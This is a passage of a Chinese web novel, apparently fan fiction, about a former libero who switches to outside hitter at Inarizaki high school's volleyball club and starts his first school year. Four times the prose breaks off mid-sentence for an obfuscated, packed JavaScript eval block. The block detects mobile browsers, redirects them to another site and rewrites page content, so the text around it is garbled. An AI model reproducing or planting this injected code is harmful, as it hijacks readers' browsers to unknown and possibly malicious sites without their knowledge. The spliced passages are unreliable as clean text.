这次他笑的是队友的一个失误——副攻手扣球出界，他自己也笑了，一边笑一边用毛巾擦汗。 22：4。 换他发球。 牧野清站在底线外面，拍了两下球。 对面那个一年级二传站在四号位，正侧着头和宽肩膀说话。他们大概在讨论下一轮的战术。他们大概觉得，这局已经拿下了。 牧野清把球抛起来。 起跳的时候，他想的是佐藤刚才那句话——“你每个球都想扣下去。” 不对。 扣球不是目的，得分才是。 球离手的时候他刻意压低了手腕，让球的飞行轨迹更低更平。发球落点压在五号位和六号位之间的缝隙里，那是防守阵型最薄弱的连接处。 宽肩膀扑出去救球，但球已经落地了。 22：5. 对面愣了一下。 往回走的时候，牧野清听见中山前辈笑了一声。 “行了，”他说，“开始了。” 5. 第五章 10. 22：5。 下一球，对面那个一年级二传终于不再只盯着牧野清了。他开始调度进攻，但这一次牧野清看得比刚才清楚。 他的传球确实聪明，但不是没有规律——喜欢在快攻之后突然给后排，喜欢在对手拦网移动的时候打时间差。这些规律，牧野清在自由人的位置上观察过无数次，只是今天他在前排。 宽肩膀又跳起来扣球。这次牧野清没有想拦死他，只是伸手去封他的直线。 球蹭过指尖，变线，飞出界。 触手出界。 宽肩膀落地的时候看了牧野清一眼。那一眼里没有笑。 比分到了23：8。 佐藤重新开始给牧野清传球。 这一次他的球给得稳，落点也在牧野清的节奏里。扣下去第一个球的时候，对面那个一年级二传往后退了两步，然后转过头去看宽肩膀。 他们在重新评估牧野清，这位杂牌国中排球部出身的自由人转主攻。 而牧野清也在重新评估自己。 国中三年，他以为他了解排球的全部。进攻、防守、一传、二传，每一个位置他都能说出一套理论。但直到今天牧野清才明白，有些东西不在理论里。 你在后排看球的时候，球是往你这边飞的。你在前排的时候，你是往球那边飞的。 差一个字，差一个方向。 也差一种思维方式。 第一局最后红队是输的，25：17。 但第二局红队赢了，21：25。 第三局打到23平的时候，对面那个一年级二传发球失误，然后宽肩膀扣球出界，红队23：25拿下。 打完的时候天已经黑了。体育馆里的灯亮着，光打在地板上，反出一片白。 宽肩膀走过来，递给牧野清一瓶水。 “你初中打自由人？”他问。 牧野清说是。 “怪不得。”他说，“前排那几个球，你封线的时机像打过后排的。” 牧野清不知道这算夸奖还是什么，没接话。 他笑了笑，这次是真的笑，不是之前那种。 “你是今天体验入部的？” “嗯。有想法来稻荷崎，但不确定能不能考上。”牧野清点头。 他看着牧野清，神色莫名，然后转身走了。 牧野清站在场边喝水，看队员们收拾场地，把网拆下来，把球车推进器材室。佐藤从他身边走过，没说话，只是点了点头。 中山前辈最后一个离开。他走到门口的时候忽然回头，冲牧野清喊了一声：“你一定要来稻荷崎排球部。不是我们混社团时长的三馆——是替补二馆，是正选一馆！” 牧野清说：“好。我会努力的。” 他走了，体育馆里的灯熄了一半。牧野清拎着运动包站在门口，忽然想起刚才那个一年级二传最后看他的眼神。 不是敌意，也不是轻视。 是一种评估。 他在想，这个打自由人出身的主攻手，下一场比赛会变成什么样子。 牧野清也在想。 11. 体育馆里的人差不多走光了。 牧野清依旧在门口站着，盯着稻荷崎的排球部体育馆内部，心里始终觉得像在做梦。 “还没走？” 声音从身后传来。牧野清回头，一个三十多岁的男人站在器材室门口，手里拎着一串钥匙。他穿着黑白配色的运动服，头发剪得挺短。 是教练。牧野清曾在场外上看到过他几次，但从来没说过话。 “只是感觉，像在做梦一样。”牧野清伸出手，在空中虚握了几下，似乎是在回忆当时打球的感觉。 “刚才打得不错。”大见教练说。 牧野清不知道该怎么接。第一局他打成那样，怎么也算不上“不错”。 教练好像看出了他在想什么，嘴角动了动，算是笑了一下。 “自由人出身的人打主攻，第一个月都会这样。”他说，“想得太多了。” 牧野清没说话。 “你在后排的时候，每个球你都想着怎么救起来。现在你在前排，每个球你都想着怎么扣下去。但这两个想法是同一个——”他顿了顿，“都是‘反应’。” 反应。 “自由人是跟着球走的。球去哪儿，你去哪儿。这是反应。”他看着牧野清说，“但主攻手要让球跟着你走。” 他把钥匙串在手指上转了一圈，钥匙碰撞发出细碎的响声。 “国中时，你是县内最好的自由人，没有之一。这是兵库县所有排球教练公认的事实，我知道。”他说。 牧野清诧异地抬起头看他。 “我看过你国中的比赛。”他说得很平淡，像在说今天天气不错，“县大赛第一轮，你接了二十多个一传，没有一个失误。那场比赛之后，有其他国中的教练挖你去别的学校，但你拒绝了。” “那场比赛之后，我去找过你。”他说。 牧野清彻底愣住了。 “找过我？” “你打完那场比赛，从后门出去的。我在门口等你，但你走得快，等我绕过去的时候你已经上了公交车。”他说，语气里听不出是遗憾还是别的什么，“后来我去你们学校，你教练说你已经走了。” 牧野清不知道说什么，他完全不记得这件事。 “那时候我想，如果你来我这里——”大见教练顿了顿，看着牧野清，“我可以让你成为县内最好的主攻手。” 牧野清抬起头。 主攻手？ “那时候我打的是自由人。”牧野清说。 “我知道。”大见教练点头，“但你接那二十多个一传的时候，我看的不是你接球的姿势。” 他往前走了一步，站到门口的光线里。灯光把他的影子拉得很长，投在地板上。 “我看的是你每一次移动之前，眼睛在看哪里。” 牧野清不明白。 “自由人是跟着球走的。球打到哪儿，你就去哪儿。但你不一样。”他说，“球还在对面手上，你的脚就已经在动了。你不是在追球，你是在等它。” 他看着牧野清。 “那种东西，叫预判。很多人练一辈子也练不出来。但你天生就会。” 牧野清张了张嘴，想说点什么，但没发出声音。 “我当时就想，这个人如果打主攻——”他顿了顿，“他会知道球要去哪儿。他不是等球传过来再看拦网，他是在二传手传球之前，就知道自己该往哪儿跑。” 他看着牧野清，眼神很平静，像在说一件早就决定了的事。 “你知道春高那些王牌主攻手，最厉害的是什么吗？不是跳得高，不是扣得重。是他们永远比别人快半步到位置上。他们永远在那个‘球会来’的地方等着。” 他顿了顿。 “你天生就会这个。” 体育馆外很安静。远处传来地铁经过的声音，轰隆隆的，很快就过去了。 “但你那时候打的是自由人。”他说，“你在后排，把球接起来，交给别人。你把自己身上最值钱的东西，用在了‘让别人去得分’这件事上。” 他停了一下。 “我那时候就想，如果你来我这里，我一定要让你打主攻。” 牧野清完全不知道说什么，只是站在那里。 “所以我今天看到你——”他忽然笑了笑，很浅，很快就收了回去，“我以为你是来打主攻的。” “我是。” 他看着牧野清。 “我是来打主攻的。”牧野清说。 他点了点头，没说话。 过了一会儿，他问：“为什么？” 牧野清想了想，说：“不知道。” 这听起来像个敷衍的回答，但牧野清说的是实话。国中毕业的时候，教练问他想打什么位置，他说主攻。教练问为什么，他也是说的不知道。 牧野清不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307595|198724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说，他其实已经害怕了，害怕自己接下的球会再一次被队友扔掉。 站在后排看了三年，他想站到前面去看一看，想亲手得分。 教练看着牧野清，那目光让他觉得自己被看穿了，又好像什么都没被看见。 “你刚才第一局，每个扣球都往死里打。”他说，“一传也往死里接，拦网也往死里跳。你以为自己是在拼命，其实是在用自由人的方式打主攻。” 教练往前走了一步。 “自由人最重要的是什么？是别让球落地。所以自由人的脑子里永远有一个底线——只要我碰到了，球就不会死。”他看着我，“但主攻手不一样。主攻手碰到球的时候，球要么得分，要么被拦死。没有中间状态。” 这话像什么东西敲在牧野清脑子里。 “你刚才一局扣了十几个球，一个吊球都没有。”他说，“你知道为什么吗？” 牧野清张了张嘴，没发出声音。 “因为你怕。”他说，“你怕吊球被接起来，你怕自己不够用力，你怕变成那个‘不够努力’的人。你用全力去扣每一个球，这样就算失误了，你也可以告诉自己‘我已经尽力了’。这是自由人的思维方式——只要我碰到了，责任就尽到了。” 他顿了顿。 “但主攻手的责任不是‘碰到’，是‘得分’。” 牧野清低下头，看着地板上的那条影子。 “你接一传的天赋很高。”他说，“比我见过的绝大多数自由人都高。但那个天赋，在你打主攻的时候，会变成别的东西。” 他停了一下。 “你在后排的时候，能提前知道球去哪儿。你在前排的时候，就能提前知道拦网在哪儿，空当在哪儿，对手的破绽在哪儿。你能看到的东西，比别人多。” 他看着牧野清，这个在排球路上稍显迷茫的孩子。 “那不是每个主攻手都有的东西。” 牧野清没说话。 他也没再说。他把钥匙收进口袋，转身往门口走。 走到门口的时候他停下来，没有回头。 “从今往后，你继续打主攻。”他说，“不用去想自己以前是自由人。你现在是主攻手了。” “即使你考不上稻荷崎，我也会以体育特招生为名头，把你带来稻荷崎排球部。” 他推开门，外面的风吹进来，凉凉的。 “还有——”他终于回过头来，看了牧野清一眼，“你那个一传，不是接不住，是脚没动。自由人出身的人，脚不动，叫什么自由人。” 门关上了。 牧野清站在门口，看着那扇深绿色的铁门。门上的漆有些地方剥落了，露出底下生锈的铁色。 过了一会儿，牧野清也把运动包拎起来，推开门走出去。 外面天已经全黑了。路灯亮着，操场上有几个田径队的人在跑步，脚步声一下一下的，很整齐。 他往校门的方向走，脑子里反复想着教练最后那句话。 脚没动。 自由人出身的人，脚没动。 他想起第一局那个让他飞了一传的发球。当时他确实没动脚——不是不能动，是没来得及。他以为他能用手够到，以为自己还在后排，球离他两米远他也能飞出去把它救起来。 但，牧野清现在不在后排了。 站在前排的时候，他离球网只有三米。那个空间比他习惯的窄得多，快得多，容错率低得多。 教练说，他其实是在用自由人的方式打主攻。 教练说得对。 但教练很早就想要他打主攻。 牧野清停下脚步，回头看体育馆的方向。 灯已经全熄了。只有门口那盏路灯还亮着，把深绿色的铁门照成昏黄色。 牧野清忽然想起教练说的另一句话。 “你在前排的时候，能看到的东西，比别人多。” 牧野清站在原地想了一会儿。 然后他转过身，继续往校门走。 6. 第六章 12. 樱花花瓣飘下来的时候，刚好落在牧野清的书包肩带上。他侧过头看了一眼，粉白色的，小小的，大概只有拇指指甲那么大。 四月第一天，入学式。 牧野清的书包还是新的，皮革味很冲，背带上挂着的除魔御守是妈妈硬塞的——说是附近神社限定，开过光，保佑高中三年不挂科。 他当然不会挂科，怎么说也算经历过一次高中生活，要是连普通人都考不过，岂不是白活了。 况且神社上个月刚换了主持，还是个染黄毛的家伙。 街道边的电线杆上贴着什么乐队演出的海报，被雨打湿了边角，主唱的脸皱成一团。 一只乌鸦站在上面，歪头看他，叫了一声，声音哑得像被门夹过。 他想起上辈子在一本排球月刊上，他看过一个故事。一所叫“乌野”的高校，从县内无人问津的弱队，打进全国大赛。 想得相当莫名其妙。 坡道很陡。这条通往稻荷崎高校的坡道，据说春天是樱花隧道，夏天是蝉的地狱，秋天落叶扫不完，冬天——没人冬天走路上学，毕竟太冷了。 现在樱花确实开着，但也确实在往下砸。花瓣糊在脸上，钻进领口，黏在书包上。几个穿水手服的女生从身边超过去，叽叽喳喳讨论分班结果，裙摆被风吹起来又压下去，压下去又吹起来。 牧野清没仔细听。 拐过弯，视野突然开阔。坡道尽头，校门，再远一点，教学楼在晨光里发亮。操场上有棒球部的人在晨练，球击在金属棒上的声音脆脆的，传过来的时候已经有点散。 他脚步顿了顿。 ——怎么说呢。 从今天开始就是高中生了。这件事直到现在才突然有了实感。 国中三年级的最后一个月，排球部停下了训练，他们国三的队员也被强制要求退部，他几乎每天都在考试和补课里度过。 毕业典礼那天下了一场雨。大野说，他喜欢的那个女生被别的男生撑着伞接走了，他站在体育馆屋檐下等了二十分钟，最后还是自己跑回去的。 那天晚上大野一个劲地哭，抱着牧野清的手臂嚎叫，朝他诉说自己的悲痛。 这些事情好像过去了很久，又好像就在昨天。 “哟。” 牧野清的肩膀被拍了一下。 他回头，看到了一个剃着板寸的头，是山下。山下是牧野清的国中同班，座位在他后面两排，上课经常睡觉的那种，却意外成绩很好，居然考上了稻荷崎。 “看啥呢，”山下顺着牧野清的视线往操场看，“哦，棒球部。你想进？” “没。” “也是，你是打排球的，放假那会儿还参加了排球部的体验入部，肯定是不会进棒球部的。”山下打了个哈欠，“而且稻荷崎的棒球部水平真不怎么样。——哎话说你几班？” “还不知道。” 山下“嘿嘿”笑了两声，然后从口袋里掏出皱巴巴的入学报到函，“一会儿看榜，要是同班的话——” “同班的话？” “借我作业抄。” 樱花又砸下来几朵。牧野清伸手把领口里的花瓣掏出来，顺手拍在山下脸上，而后发挥了体育生的优势，朝校门跑去。 山下骂了一声，追上来。 坡道还长，校门还远。上课铃还没响。 乌鸦从电线杆上飞起来，掠过头顶，往教学楼的方向去了。 13. 入学式。 说不上期待，也说不上不期待。高中这种东西，大概就是换个地方继续过同样的日子。教室不一样，校服不一样，但坐在里面的人，说到底不都差不多吗。 人行道上的樱花正落得热闹。 牧野清小心地避开一片飘进视野的花瓣，顺便绕过前一晚积下的水洼。 校门口的樱花树很多。 穿同样制服的学生三三两两地往里走，有的在聊天，有的低头看手机，有的被扛着摄像机的家长追着拍照。他绕过那些人，从侧门进去。 校舍的味道很干净，地板打过蜡，反着光。走廊尽头贴着分班名单，那里已经挤了一圈人。 牧野清站在外围等着，等前面的人看完一批散开，才凑上去。 名单上名字按照五十音图排，牧野清找了找，在中间偏后的位置看到了自己的名字。 一年6组，升学班。 看来自己的入学考试考的还不错。 牧野清推开教室门的时候，里面已经坐了大概一半的人。靠门边第二排位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307596|198724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置还空着，于是他走过去坐下。 左前方的男生正和后座聊国中时参加什么社团，声音不大不小地传过来。前面坐着的女生在翻文具盒，里面的笔碰在一起，发出清脆的声响。 窗外操场上，吹奏部在练习，断断续续的调子飘进来。 阳光里飞舞着细小的灰尘，空气里有种春天特有的懒洋洋的味道，混着青草和潮湿的泥土气息。 14. 教室前门被拉开的时候，发出了一声恰到好处的轻响——既不是那种小心翼翼到让人在意的程度，也不是大大咧咧到显得粗鲁。 一个“女生”走进来。 她手里抱着一个文件夹，径直走向讲台。教室里那些聊天的声音像被什么东西轻轻按住，陆续停下来。 应该不是学生，是老师......是吧？牧野清稍显迟疑。 “早上好。” 她的声音不高，但教室里每个角落都能听清。看上去大概二十多岁，黑色西装裙，头发在脖颈处整齐地收住。没有多余的装饰，也没有刻意板着脸。 她扫了一圈教室，目光像是清点人数，又像是在确认什么别的东西。 “我是你们接下来三年的班主任，高桥。负责数学。” 她转身在黑板上写下名字。字迹工整，但没什么个性。不愧是教数学的，能写工整字已经相当出色了。 “在这之前，先把出勤簿点了。叫到名字的回答。” 她翻开文件夹。教室里有人悄悄把手机塞进口袋，有人坐直了身子。 “相川健。” “到。” “青木优斗。” “到。” 名字一个个念下去，应答声此起彼伏。听着那些陌生的姓氏，牧野清想着三年后大概自己也不会全部记住。 “笠原诚。” 没有人应。 高桥老师抬起头，重复了一遍：“笠原诚？” 后排有人轻轻咳了一声。牧野清余光扫过去，看见一个空着的座位——靠门那列最后一排。 “还没来。”旁边的男生小声说，像是在替缺席的人解释。 高桥老师没说什么，在名单上做了个记号，继续往下念。 窗外的阳光比刚才又斜了一点。 7. 第七章 15. “牧野清。” “到。” 念到牧野清名字的时候，他答了一声。高桥老师抬头看了一眼，目光停留了大概半秒，然后移开。 点完名，她把文件夹合上，双手撑在讲台两侧。 “我知道你们现在在想什么——新的开始，新的同学，新的生活。可能有人期待，有人无所谓，有人觉得麻烦。” 她顿了顿。 “都行。” 教室里有人轻轻笑了一声。 “但有一件事我要说清楚。”她的语气没变，但那种轻松的氛围像是被什么轻轻压住，“这三年是你们自己的。不是你们父母的，不是学校的，更不是我的。想怎么过，是你们的事。我只是负责在旁边看着，偶尔提醒一下。” 她从文件夹里抽出一沓纸。 “课表、校规说明、社团申请表。从第一排传下去。每人一张，多的传回来。” 纸张从前面传过来，一张张经过不同的手。递到牧野清手里的时候，他看到最上面那张的边缘有一点折痕，大概是传的时候不小心压到了。 他把那张留给自己，把剩下的递给后桌。 “另外，”高桥老师等所有人都拿到材料后继续说，“今天没有正式课。入学式在下午一点，在那之前你们可以熟悉一下校园，或者——” 她瞥了一眼靠门的空座位，“——等那个迟到的家伙出现。” 话音刚落，教室门被轻轻敲了两下。 所有人都扭头看过去。 门拉开一条缝，露出一张脸。男生，头发有点乱，呼吸不太稳，像是在走廊上跑过。 很熟悉，像极了一个人。牧野清迟疑，是上一世排球部的后辈笠原吗？可是，为什么他现在来了稻荷崎？ 蝴蝶扇动一下翅膀，居然可以引发这么大的海啸吗？ “抱歉......迟到了......” 高桥老师看了他两秒，然后低头看了一眼手里的出勤簿。 “笠原诚？” “是。” “进来。” 笠原走进来，低着头穿过教室。他经过牧野清旁边的时候，瞥了一眼牧野清，神情相当意外。牧野清闻到一股很淡的味道——不是香水，更像是便利店里那种关东煮的热气。 他在那个空座位上坐下，书包放到脚边。 高桥老师没再多说什么，只是继续交代上午的安排。她的目光在笠原身上多停留了一瞬，然后移开。 窗外吹进来一阵风，把讲台上的几张纸吹得轻轻掀起一角。有人伸手按住，有人趁机悄悄转头打量那个迟到的人。 牧野清也看了一眼。 他正低头翻着书包，像是在找什么。侧脸看起来没什么特别，就是那种普通的、有点困倦的高中男生的脸。 风吹过去，纸落回原处。 高桥老师继续说着什么，声音被窗外的电车经过声盖过了一瞬，牧野清没听清。 16. “——所以，九点半之前把行李放到指定位置，十点在大礼堂集合。” 高桥老师说完最后一句，教室里响起一阵窸窸窣窣的声音——椅子腿摩擦地板，书包拉链被拉开又拉上，有人开始往走廊走。 牧野清把那张课表折了两折，塞进制服内侧的口袋。 站起来的时候，前面的男生刚好转过身，差点撞上。他愣了一下，说了声“抱歉”，然后很快侧身让开。牧野清也点了点头，没说话，跟着人群往门口挪。 走廊上已经热闹起来了。 新生们像刚放出来的什么生物，三三两两地往楼梯口移动。有人在对照手里的校园地图，有人举着手机拍墙上的海报，有人站在饮水机前研究怎么用那个奇怪的水龙头。 牧野清靠着墙边走，避开那些突然停住或者突然转向的人。 “话说笠原那家伙，居然第一天就迟到啊。” 声音从前面传来，不大，但刚好能听见。两个男生并排走着，其中一个耸着肩膀笑。另一个回头看了一眼，然后转回去说了句什么，两个人一起笑起来。 下到二楼，人少了一些。 这里好像是二年级的教室区域，走廊里贴着不同颜色的海报，字体比楼下的更潦草，内容也更......怎么说，更像高中生该有的样子。 “文化祭实行委员会募集”“年级篮球赛对阵表”“轻音部练习日程变更”—— 牧野清的目光在某张海报上停了一秒。 吹奏部的。上面写着“新入部员募集中”，角落画了只五线谱上爬的小熊，不知道是谁的恶趣味。 有人从后面快步走过来，差点撞到我肩膀。 “抱歉抱歉——” 是那个迟到的笠原。他侧着身子从牧野清旁边挤过去，手里攥着手机，屏幕上好像显示着什么倒计时之类的东西。 他跑到楼梯口，然后突然停住，回头看了牧野清一眼。 “那个，”他指了指牧野清身后的墙，“这张海报，贴歪了吧？” 牧野清回头看了一下。确实，吹奏部那张海报左边翘起来一角，胶带开了。 “..... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307597|198724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .大概吧。” 他点点头，然后转身跑下楼梯，脚步声噼里啪啦地消失了。 牧野清站在原地，看着那张翘起来的海报。 小熊还在五线谱上爬，像是完全没注意到自己快要掉下来。 一个路过的二年级女生停下来，伸手把那角按回去，用指腹压了压。她注意到有人在看，笑了笑。 “新生？” “嗯。” “吹奏部？”她看了一眼海报，“有兴趣的话，下午入学式之后有体验入部，可以来看看。” 该怎么解释，自己其实并没有兴趣加入吹奏部呢？只是在这张海报上看到了些有趣的东西。牧野清思考了两秒，选择放弃解释。 “......谢谢。”牧野清说。 她点点头，走了。 走廊里又安静下来。楼下传来新生们的嘈杂声，隔着楼层，变得有些模糊。有人在喊谁的名字，有人笑起来，有脚步声咚咚地跑过。 牧野清把手插进口袋，继续往下走。 到了一楼，正门外面已经站了不少人。阳光比刚才更刺眼，樱花的影子落在地上，被来来往往的脚步踩碎又聚拢。 牧野清站在门内，隔着玻璃看那些人。 有人在拍照，有人在聊天，有人站在角落里一个人看手机。有家长举着摄像机倒退着走，差点撞到路过的学生。有老师在旁边维持秩序，手里拿着扩音器，但没打开。 那棵最大的樱花树下，笠原正蹲着系鞋带。 他的书包歪在一边，里面的东西露出半截——好像是一本便利店的漫画杂志，封面折着，看不清是什么。 他系好鞋带站起来，拍了拍膝盖，然后抬头看了看树冠。一片花瓣飘下来，落在他肩膀上。他没注意到，转身往大礼堂的方向走了。 牧野清看着他的背影消失在人群里。 然后推开门，走进阳光里。 这就是大学校啊。牧野清就这样仰起头。 阳光正好落下来，明晃晃的，落在他的额头上，落在他的睫毛上。 他眨了眨眼。 从前不是没见过阳光，但从前的阳光没有这么——理直气壮，像是这里本来就该这么亮。 像是这里的每一寸土地，都值得被这么明艳艳地照着。 他站了一会儿，忽然轻轻笑了一下。 没说话。 但心里有个声音，很小、很轻——嗯，我来了。 阳光还在落着。 好像也在说：你看，阳光都选这里落。 是的，你选对了。 8. 第八章 17. 大礼堂里已经坐了大半的人。 牧野清从侧门进去，找了个靠过道的空位坐下。台上挂着横幅，红底白字，写着“入学式”三个标准的美术字。校长还没出现，只有几个老师在台下低声交谈，偶尔看一眼手里的文件。 后面的座位有人在聊天，声音不大，但刚好能传进耳朵里。 “......你报哪个部？” “还没想好。篮球吧，毕竟国中也打了三年。” “我可能去吹奏。” “可你以前不是足球吗？” “那个没意思。都高中了，想着换一个。” 牧野清把目光落在前排某个人的后脑勺上，没加入对话，也没听进去太多。 入学式这种东西，说到底就是走个过场。校长讲话，新生代表发言，唱校歌——如果有的话——然后散场，各回各的教室，领教材，听班主任再唠叨一遍同样的话。 流程早就在说明手册上看过了。 但脑子里想的不是这个。 从四月之前的那个假期开始，有一件事就一直在那里，不上不下地悬着。 国中三年，他在排球部打自由人；体验入部时，教练说从今往后，你继续打主攻手。 其实说到底，自己还是不愿意在一个位置上继续失败，继续输掉没有“最后”的下一局。 牧野清也想赢。最起码要有能力追逐胜利，而不是被动等待。 他想试一次。 “起立。” 旁边的声音把牧野清拉回现实。前面的人站起来，他也跟着站起来。台上不知什么时候已经站了一排人，中间那个发际线靠后的应该就是校长。 他的讲话从“樱花绽放”开始，到“青春无悔”结束，中间穿插了一些听不太清的升学数据和听起来很燃的励志语录。牧野清听着，没太认真，也没完全走神。 新生代表是个女生，声音很稳，念稿子的节奏恰到好处。她讲到“新的开始”“努力奋斗”的时候，礼堂里响起了稀稀拉拉的掌声。 牧野清也拍了拍手。 然后是唱校歌。歌词印在刚发的材料里，旋律听一遍就能跟上。唱到第二段的时候，他注意到后排有个人唱得特别大声，破音了两次，但还是在唱。 散场的时候，人群往门口涌。他被夹在中间，跟着一步步往前挪。 走出礼堂，阳光又照下来。 有人开始往教学楼走，有人往体育馆方向张望，有人在找同班同学。牧野清站在路边，拿出手机看了一眼时间——三点十分。 难以置信，一个入学式学校居然磨蹭了两个多小时。 好在没有耽误社团参观。 体育馆在校园最里面，走过去要经过中庭和两栋教学楼。 路上的人少了一些，大概是都回教室了。牧野清顺着路标走，还没到门口，就听见里面传来的声音——球鞋摩擦地板的尖锐声响，球砸在地上的闷响，还有偶尔的喊声。 门口摆着几张桌子，后面坐着几个穿运动服的人。其中一个看到来人了，站起来。 “新生？排球部？” “嗯。” “欢迎欢迎！”他递过来一张表格，“参观还是入部？都可以先填一下，等下可以进去看训练，也可以体验。” 牧野清接过表格，看了一眼上面的栏目。姓名，班级，国中经历，希望的位置—— 希望的位置。 他盯着那五个字看了几秒。 “那个，”牧野清抬起头，“位置......可以自己选吗？” 负责接待的学长愣了一下，然后笑了。 “理论上可以。不过最后还是看教练安排，还有选拔。你以前打过什么位置？” “自由人。” “哦，自由人啊。”他点点头，“那现在想打什么？” 牧野清没立刻回答。 体育馆里又传来一声扣球的闷响，紧接着是欢呼声。有人在喊“好球”，有人在拍手。 看着那张表格，牧野清握笔的手指动了动。 “......主攻手。” 学长的表情没什么变化，只是又点了点头。 “行啊，填上吧。” 牧野清低头，在“希望的位置”那一栏写下三个字。 笔尖划过纸张的声音很轻，被体育馆里的喧嚣盖住了。 写完最后一个笔画，牧野清把表格递回去。 学长接过去看了一眼：“好了，你可以先回班了。明天下午放学，新生才正式来这里报到。” 牧野清点头，礼貌道谢后便离开了。 18. 松本是牧野清最近才认识的朋友。 开学第一天竞选班委，松本坚定选择竞选班长——其实根本不需要竞选，大家秉持着多一事不如少一事的原则，也因此没人竞选班干部。 所以班上所有班干部，出了一两个像松本一样的犟种，其他的都是由高桥老师亲自选择。毕竟如果她不挑人，班上就没有班干部了。 扯远了。 入学式上面发言的新生代表是佐佐木，入学考似乎是第二名，但因为第一名拒绝发言所以学校顺位选择了第二名。 松本其人，正是拒绝了学校邀请发言的入学考第一名。 至于两人是如何认识的， 牧野清表示：不知道，莫名其妙高桥就让他做劳动委员，也莫名其妙他和班长位置挺近，总之就是莫名其妙，松本就觉得两个人已经很熟了。 第二天午休的时候，牧野清被松本拉着去了小卖部。 “快点快点，再不跑菠萝包就没了——” 他跑得飞快，完全不像刚结束上午四节课的人。牧野清跟在后面，腿有点酸，但也只能跟着跑。 小卖部门口已经排了长队。一年级的，二年级的，三年级的，每个人手里都攥着零钱，盯着柜台里的面包和饭团。松本踮起脚尖往里张望，然后松了口气。 “还好还好，还有三个。” 他回头冲牧野清比了个数字，笑得像个捡到钱的小孩。 排在两人前面的是两个女生，正在讨论昨天放送的什么电视剧。声音不大不小地传过来，夹杂着“真的假的”“那个人居然”之类的感叹词。 松本没在听，他在数前面还有几个人。牧野清也没在听，但那些声音就在耳边，想躲也躲不掉。 “对了，”松本突然转过头，“你中午都吃什么？” “便当。” “便当？”他瞪大眼睛，“你自己做的？” “我妈做的。” “哦——”他拖长尾音，“幸福的家伙。我都是便利店解决。” 他晃了晃手里的零钱，上面还贴着便利店的找零 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307598|198724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 标签。 队伍往前挪了一点。那两个女生终于买完了，端着装满面包的托盘离开。松本一步跨上去，对着柜台里的阿姨露出灿烂的笑容。 “菠萝包两个！还有一个——” 他回头看牧野清。 “随便。”牧野清说。 “还有一个也是菠萝包！” 所以松本究竟是有多喜欢吃菠萝包？牧野清沉默。 他接过三个面包，塞给牧野清两个，自己撕开一个咬了一大口。 走到教学楼门口的时候，有人从里面冲出来，差点撞上。牧野清侧身躲开，那人看到松本之后两眼发光，像是看到了救星。 “班长，高桥老师喊你去班里找几个同学数教材。” “那我先回去了！你去午休吧！”松本冲牧野清挥挥手里的面包，“下午上课见！” 他跑进教学楼，消失在楼梯拐角，只留牧野清一个人站在原地，手里还攥着两个菠萝包。 “......我一个人吃两个菠萝包，真的假的？”牧野清恍惚呢喃。 回教室的路上，牧野清绕了一段路，从中庭穿过去。 中庭有几棵樱花树，比校门口的小一点，但开得正好。树下的长椅上坐着几个人，有的在吃午饭，有的在看书，有的只是坐在那里发呆。 阳光很暖，风很轻。花瓣飘下来，落在那些人的肩膀上、书上、便当盒上。 他在一棵树旁边停下来，把菠萝包放在长椅空着的一边，然后坐着。 打开第一个菠萝包的包装纸，咬了一口。有点甜，有点油，面包很软。是小时候喜欢的那种味道。 第二个吃到一半的时候，有人在他旁边停下来。 牧野清抬头。 是一个女生，校服，头发在脑后松松地扎成一束。她手里拿着一个便当盒，站在两步开外，看着牧野清......旁边的樱花树。 不对，是看着樱花树下面的什么。 牧野清顺着她的目光看过去。 一只猫。 一只三花猫蹲在树根旁边，正在舔爪子。它看起来是校猫那种类型——不怕人，也不亲人，就待在自己的世界里。 女生蹲下来，把便当盒打开，从里面夹出一小块鱼肉，放在地上。然后往后退了两步。 猫看了她一眼，继续舔爪子。 女生也不急，就那么蹲着等。 风吹过，花瓣落在她肩上。她没动。 过了大概十秒，猫终于站起来，慢悠悠地走过去，低头闻了闻那块鱼肉，然后开始吃。 女生的嘴角轻轻弯了一下。 牧野清收回目光，继续吃菠萝包。 